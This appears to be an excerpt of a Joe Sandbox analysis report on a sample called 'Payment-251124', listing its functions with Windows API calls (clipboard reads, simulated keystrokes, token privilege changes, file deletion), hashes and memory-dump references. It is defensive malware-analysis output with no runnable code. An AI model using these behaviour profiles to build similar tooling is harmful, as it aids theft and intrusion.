                                                        • Opcode ID: 6835a613e9910970744cf47f90ff2063449a5087be5f2ce099398601ed1c7b70
                                                        • Instruction ID: 846e5fc66fadebbca651aa08a4795369e0f6559bcae789b9db34b571ad752ac0
                                                        • Opcode Fuzzy Hash: 6835a613e9910970744cf47f90ff2063449a5087be5f2ce099398601ed1c7b70
                                                        • Instruction Fuzzy Hash: 3A01867150010DAECF05EF74C992DFEBBB4EF10314F108029B562A71E5EA319A4ADB60
                                                        Function 00EE2AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __lock_file.LIBCMT ref: 00EE2AED
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __getptd_noexit__lock_file
                                                        • String ID:
                                                        • API String ID: 2597487223-0
                                                        • Opcode ID: 9935cd194d8032012ca9fea4bcde6b0f2772adbec44572e29434068e88a23ac3
                                                        • Instruction ID: a5514adb825408c20e8fe83a1f55736a00624e3c0a2a5c520da73101a9f8e54c
                                                        • Opcode Fuzzy Hash: 9935cd194d8032012ca9fea4bcde6b0f2772adbec44572e29434068e88a23ac3
                                                        • Instruction Fuzzy Hash: 81F0C83150028DDADF21AFB68C0239F36E97F40314F146429B518BB191CB748A51DB51
                                                        Function 00EC4252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FreeLibrary.KERNEL32(?,?,?,?,?,00EC39FE,?,00000001), ref: 00EC4286
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: FreeLibrary
                                                        • String ID:
                                                        • API String ID: 3664257935-0
                                                        • Opcode ID: 19e0a7da87909169beb00c1268f5343e8aecd3ea54b1443e943c018aa60e9c47
                                                        • Instruction ID: 7ce1a0a1d8321e9fa607e12a09b76e383e7bbe57cec71a8dd2d25713583ace16
                                                        • Opcode Fuzzy Hash: 19e0a7da87909169beb00c1268f5343e8aecd3ea54b1443e943c018aa60e9c47
                                                        • Instruction Fuzzy Hash: 35F0A9B1404302CFCB388FA0D8A1D66BBE0BF003293209A3EF1C6A2660C7329940DF40
                                                        Function 00EC40A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00EC40C6
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LongNamePath
                                                        • String ID:
                                                        • API String ID: 82841172-0
                                                        • Opcode ID: 2b373cbb96f756cd1a70b37c6868a3ad0a87324bd848ac092a1b2b98b6efd8ab
                                                        • Instruction ID: 61bf29f575385b4e3b968a66c5105104793f7bfe16a90745fca2744b18d9b27a
                                                        • Opcode Fuzzy Hash: 2b373cbb96f756cd1a70b37c6868a3ad0a87324bd848ac092a1b2b98b6efd8ab
                                                        • Instruction Fuzzy Hash: 59E0C2366002285BC711A658CC46FEF77EDDFC86A0F0900B9FE09E7244EA64E9819690
                                                        Function 015F7EE0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • Sleep.KERNELBASE(000001F4), ref: 015F7EF1
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715787633.00000000015F5000.00000040.00000020.00020000.00000000.sdmp, Offset: 015F5000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_15f5000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Sleep
                                                        • String ID:
                                                        • API String ID: 3472027048-0
                                                        • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                        • Instruction ID: cc8552cb2e2039b0e60d557d3682d8108c617859a5d8466256514e556fb0f0e3
                                                        • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                        • Instruction Fuzzy Hash: 74E0BF7494410D9FDB00EFA4D94969E7FB4EF04301F100165FD0192281D63099508A62

                                                        Non-executed Functions

                                                        Function 00F2F7FF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 00F2F87D
                                                        • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00F2F8DC
                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00F2F919
                                                        • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00F2F940
                                                        • SendMessageW.USER32 ref: 00F2F966
                                                        • _wcsncpy.LIBCMT ref: 00F2F9D2
                                                        • GetKeyState.USER32(00000011), ref: 00F2F9F3
                                                        • GetKeyState.USER32(00000009), ref: 00F2FA00
                                                        • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00F2FA16
                                                        • GetKeyState.USER32(00000010), ref: 00F2FA20
                                                        • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00F2FA4F
                                                        • SendMessageW.USER32 ref: 00F2FA72
                                                        • SendMessageW.USER32(?,00001030,?,00F2E059), ref: 00F2FB6F
                                                        • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 00F2FB85
                                                        • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00F2FB96
                                                        • SetCapture.USER32(?), ref: 00F2FB9F
                                                        • ClientToScreen.USER32(?,?), ref: 00F2FC03
                                                        • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00F2FC0F
                                                        • InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 00F2FC29
                                                        • ReleaseCapture.USER32 ref: 00F2FC34
                                                        • GetCursorPos.USER32(?), ref: 00F2FC69
                                                        • ScreenToClient.USER32(?,?), ref: 00F2FC76
                                                        • SendMessageW.USER32(?,00001012,00000000,?), ref: 00F2FCD8
                                                        • SendMessageW.USER32 ref: 00F2FD02
                                                        • SendMessageW.USER32(?,00001111,00000000,?), ref: 00F2FD41
                                                        • SendMessageW.USER32 ref: 00F2FD6C
                                                        • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00F2FD84
                                                        • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00F2FD8F
                                                        • GetCursorPos.USER32(?), ref: 00F2FDB0
                                                        • ScreenToClient.USER32(?,?), ref: 00F2FDBD
                                                        • GetParent.USER32(?), ref: 00F2FDD9
                                                        • SendMessageW.USER32(?,00001012,00000000,?), ref: 00F2FE3F
                                                        • SendMessageW.USER32 ref: 00F2FE6F
                                                        • ClientToScreen.USER32(?,?), ref: 00F2FEC5
                                                        • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00F2FEF1
                                                        • SendMessageW.USER32(?,00001111,00000000,?), ref: 00F2FF19
                                                        • SendMessageW.USER32 ref: 00F2FF3C
                                                        • ClientToScreen.USER32(?,?), ref: 00F2FF86
                                                        • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00F2FFB6
                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00F3004B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                        • String ID: @GUI_DRAGID$F
                                                        • API String ID: 2516578528-4164748364
                                                        • Opcode ID: 7685c15193403143203dd4e424128f51d1b08b2edba9dd4b38bba75e2f0cd3b2
                                                        • Instruction ID: d086910eb464ff4b771bb15ef11f5a8059e4de23054329056bcf5fe2091b98ad
                                                        • Opcode Fuzzy Hash: 7685c15193403143203dd4e424128f51d1b08b2edba9dd4b38bba75e2f0cd3b2
                                                        • Instruction Fuzzy Hash: E132DE78A14254EFDB10CF64D884BAABBB8FF49364F040639F995872A1D731DC09EB52
                                                        Function 00F2AACE Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00F2B1CD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: %d/%02d/%02d
                                                        • API String ID: 3850602802-328681919
                                                        • Opcode ID: eb38551f80a17ba74113811d54b8852a4a68dd0ed63301930dca9d9669abea69
                                                        • Instruction ID: a5468ae72a11ae713c1125cb4382d33b9c1150b0ae6fe9dd855487499fc08cfb
                                                        • Opcode Fuzzy Hash: eb38551f80a17ba74113811d54b8852a4a68dd0ed63301930dca9d9669abea69
                                                        • Instruction Fuzzy Hash: 0B12E171A00229ABEB248F64EC59FAE7BF8FF45720F104119F915EB2D1DB748942EB11
                                                        Function 00EDEB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetForegroundWindow.USER32(00000000,00000000), ref: 00EDEB4A
                                                        • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00F33AEA
                                                        • IsIconic.USER32(000000FF), ref: 00F33AF3
                                                        • ShowWindow.USER32(000000FF,00000009), ref: 00F33B00
                                                        • SetForegroundWindow.USER32(000000FF), ref: 00F33B0A
                                                        • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00F33B20
                                                        • GetCurrentThreadId.KERNEL32 ref: 00F33B27
                                                        • GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00F33B33
                                                        • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00F33B44
                                                        • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00F33B4C
                                                        • AttachThreadInput.USER32(00000000,?,00000001), ref: 00F33B54
                                                        • SetForegroundWindow.USER32(000000FF), ref: 00F33B57
                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00F33B6C
                                                        • keybd_event.USER32(00000012,00000000), ref: 00F33B77
                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00F33B81
                                                        • keybd_event.USER32(00000012,00000000), ref: 00F33B86
                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00F33B8F
                                                        • keybd_event.USER32(00000012,00000000), ref: 00F33B94
                                                        • MapVirtualKeyW.USER32(00000012,00000000), ref: 00F33B9E
                                                        • keybd_event.USER32(00000012,00000000), ref: 00F33BA3
                                                        • SetForegroundWindow.USER32(000000FF), ref: 00F33BA6
                                                        • AttachThreadInput.USER32(000000FF,?,00000000), ref: 00F33BCD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                        • String ID: Shell_TrayWnd
                                                        • API String ID: 4125248594-2988720461
                                                        • Opcode ID: 258a09da7224775c459d453883dae641e08eec2a48bdab9d71a3671a3b891bd9
                                                        • Instruction ID: f01cd1fb95fb63355dd37c24325758552cf2a1e36dcb2c84691643b031a32f24
                                                        • Opcode Fuzzy Hash: 258a09da7224775c459d453883dae641e08eec2a48bdab9d71a3671a3b891bd9
                                                        • Instruction Fuzzy Hash: ED31A776B4031CBBEB206B659C49F7F7E6CEB85B60F114015FE05EA1D1DAB05D00BAA0
                                                        Function 00EFACC5 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 223COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EFB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EFB180
                                                          • Part of subcall function 00EFB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00EFB1AD
                                                          • Part of subcall function 00EFB134: GetLastError.KERNEL32 ref: 00EFB1BA
                                                        • _memset.LIBCMT ref: 00EFAD08
                                                        • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00EFAD5A
                                                        • CloseHandle.KERNEL32(?), ref: 00EFAD6B
                                                        • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00EFAD82
                                                        • GetProcessWindowStation.USER32 ref: 00EFAD9B
                                                        • SetProcessWindowStation.USER32(00000000), ref: 00EFADA5
                                                        • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00EFADBF
                                                          • Part of subcall function 00EFAB84: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00EFACC0), ref: 00EFAB99
                                                          • Part of subcall function 00EFAB84: CloseHandle.KERNEL32(?,?,00EFACC0), ref: 00EFABAB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                        • String ID: $default$winsta0
                                                        • API String ID: 2063423040-1027155976
                                                        • Opcode ID: 095e1fbe62e6299d04775ca937cc1e0594a52ffe89ac9a1eb24148d9f82b4fe1
                                                        • Instruction ID: 96ced0edc631024a046258bf8ff0769eb189e4a153ad4ebba6fe9dca6bcd74f6
                                                        • Opcode Fuzzy Hash: 095e1fbe62e6299d04775ca937cc1e0594a52ffe89ac9a1eb24148d9f82b4fe1
                                                        • Instruction Fuzzy Hash: 29818DB190020DAFDF119FA4CC45AFE7BB9EF14308F085129FA18BA161D7318E95DB22
                                                        Function 00F060DD Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 174filestringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F06EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F05FA6,?), ref: 00F06ED8
                                                          • Part of subcall function 00F06EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F05FA6,?), ref: 00F06EF1
                                                          • Part of subcall function 00F0725E: __wsplitpath.LIBCMT ref: 00F0727B
                                                          • Part of subcall function 00F0725E: __wsplitpath.LIBCMT ref: 00F0728E
                                                          • Part of subcall function 00F072CB: GetFileAttributesW.KERNEL32(?,00F06019), ref: 00F072CC
                                                        • _wcscat.LIBCMT ref: 00F06149
                                                        • _wcscat.LIBCMT ref: 00F06167
                                                        • __wsplitpath.LIBCMT ref: 00F0618E
                                                        • FindFirstFileW.KERNEL32(?,?), ref: 00F061A4
                                                        • _wcscpy.LIBCMT ref: 00F06209
                                                        • _wcscat.LIBCMT ref: 00F0621C
                                                        • _wcscat.LIBCMT ref: 00F0622F
                                                        • lstrcmpiW.KERNEL32(?,?), ref: 00F0625D
                                                        • DeleteFileW.KERNEL32(?), ref: 00F0626E
                                                        • MoveFileW.KERNEL32(?,?), ref: 00F06289
                                                        • MoveFileW.KERNEL32(?,?), ref: 00F06298
                                                        • CopyFileW.KERNEL32(?,?,00000000), ref: 00F062AD
                                                        • DeleteFileW.KERNEL32(?), ref: 00F062BE
                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 00F062E1
                                                        • FindClose.KERNEL32(00000000), ref: 00F062FD
                                                        • FindClose.KERNEL32(00000000), ref: 00F0630B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
                                                        • String ID: \*.*
                                                        • API String ID: 1917200108-1173974218
                                                        • Opcode ID: 8736b6b4bbcb60bab92b16220f6d92d361baee4411a5e9f055851d0fa4be254e
                                                        • Instruction ID: 070060805603388c8a34ce934e4fa38c3cc6f647a79dae883227b061dda1580b
                                                        • Opcode Fuzzy Hash: 8736b6b4bbcb60bab92b16220f6d92d361baee4411a5e9f055851d0fa4be254e
                                                        • Instruction Fuzzy Hash: E1513072D0811CAACF21EB91CC44EEBB7FCAF15310F0501EAE545E2141EE769789AFA4
                                                        Function 00F16B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenClipboard.USER32(00F5DC00), ref: 00F16B36
                                                        • IsClipboardFormatAvailable.USER32(0000000D), ref: 00F16B44
                                                        • GetClipboardData.USER32(0000000D), ref: 00F16B4C
                                                        • CloseClipboard.USER32 ref: 00F16B58
                                                        • GlobalLock.KERNEL32(00000000), ref: 00F16B74
                                                        • CloseClipboard.USER32 ref: 00F16B7E
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 00F16B93
                                                        • IsClipboardFormatAvailable.USER32(00000001), ref: 00F16BA0
                                                        • GetClipboardData.USER32(00000001), ref: 00F16BA8
                                                        • GlobalLock.KERNEL32(00000000), ref: 00F16BB5
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 00F16BE9
                                                        • CloseClipboard.USER32 ref: 00F16CF6
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                        • String ID:
                                                        • API String ID: 3222323430-0
                                                        • Opcode ID: 3d614b07d2ba8b18f7864afeae3237292ef58df5a501208cfd09bb586fd09d28
                                                        • Instruction ID: b8ff8ef1806dfcdb7b5df24fae66c8d7d850dbdab3d2f4b6980d1751f91d5b89
                                                        • Opcode Fuzzy Hash: 3d614b07d2ba8b18f7864afeae3237292ef58df5a501208cfd09bb586fd09d28
                                                        • Instruction Fuzzy Hash: 3051E135204205ABD300EF64DD46FAE77A8EFA5B11F01002DFA5AE31E1DF70D946AB62
                                                        Function 00F0F5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(?,?), ref: 00F0F62B
                                                        • FindClose.KERNEL32(00000000), ref: 00F0F67F
                                                        • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00F0F6A4
                                                        • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00F0F6BB
                                                        • FileTimeToSystemTime.KERNEL32(?,?), ref: 00F0F6E2
                                                        • __swprintf.LIBCMT ref: 00F0F72E
                                                        • __swprintf.LIBCMT ref: 00F0F767
                                                        • __swprintf.LIBCMT ref: 00F0F7BB
                                                          • Part of subcall function 00EE172B: __woutput_l.LIBCMT ref: 00EE1784
                                                        • __swprintf.LIBCMT ref: 00F0F809
                                                        • __swprintf.LIBCMT ref: 00F0F858
                                                        • __swprintf.LIBCMT ref: 00F0F8A7
                                                        • __swprintf.LIBCMT ref: 00F0F8F6
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
                                                        • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                        • API String ID: 835046349-2428617273
                                                        • Opcode ID: e0ef98098b8e998aceec52b5b2edebcf0ce3e64617696349d6add287567188e8
                                                        • Instruction ID: 148297dc7552f4e0e7d2ccb473a7e0399643e01781a59c4ce1addefacfa597df
                                                        • Opcode Fuzzy Hash: e0ef98098b8e998aceec52b5b2edebcf0ce3e64617696349d6add287567188e8
                                                        • Instruction Fuzzy Hash: BAA12FB2408344ABC310EB95CD85EAFB7ECFF99700F44182EF58592292EB35D949D762
                                                        Function 00F11B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00F11B50
                                                        • _wcscmp.LIBCMT ref: 00F11B65
                                                        • _wcscmp.LIBCMT ref: 00F11B7C
                                                        • GetFileAttributesW.KERNEL32(?), ref: 00F11B8E
                                                        • SetFileAttributesW.KERNEL32(?,?), ref: 00F11BA8
                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 00F11BC0
                                                        • FindClose.KERNEL32(00000000), ref: 00F11BCB
                                                        • FindFirstFileW.KERNEL32(*.*,?), ref: 00F11BE7
                                                        • _wcscmp.LIBCMT ref: 00F11C0E
                                                        • _wcscmp.LIBCMT ref: 00F11C25
                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 00F11C37
                                                        • SetCurrentDirectoryW.KERNEL32(00F739FC), ref: 00F11C55
                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 00F11C5F
                                                        • FindClose.KERNEL32(00000000), ref: 00F11C6C
                                                        • FindClose.KERNEL32(00000000), ref: 00F11C7C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                        • String ID: *.*
                                                        • API String ID: 1803514871-438819550
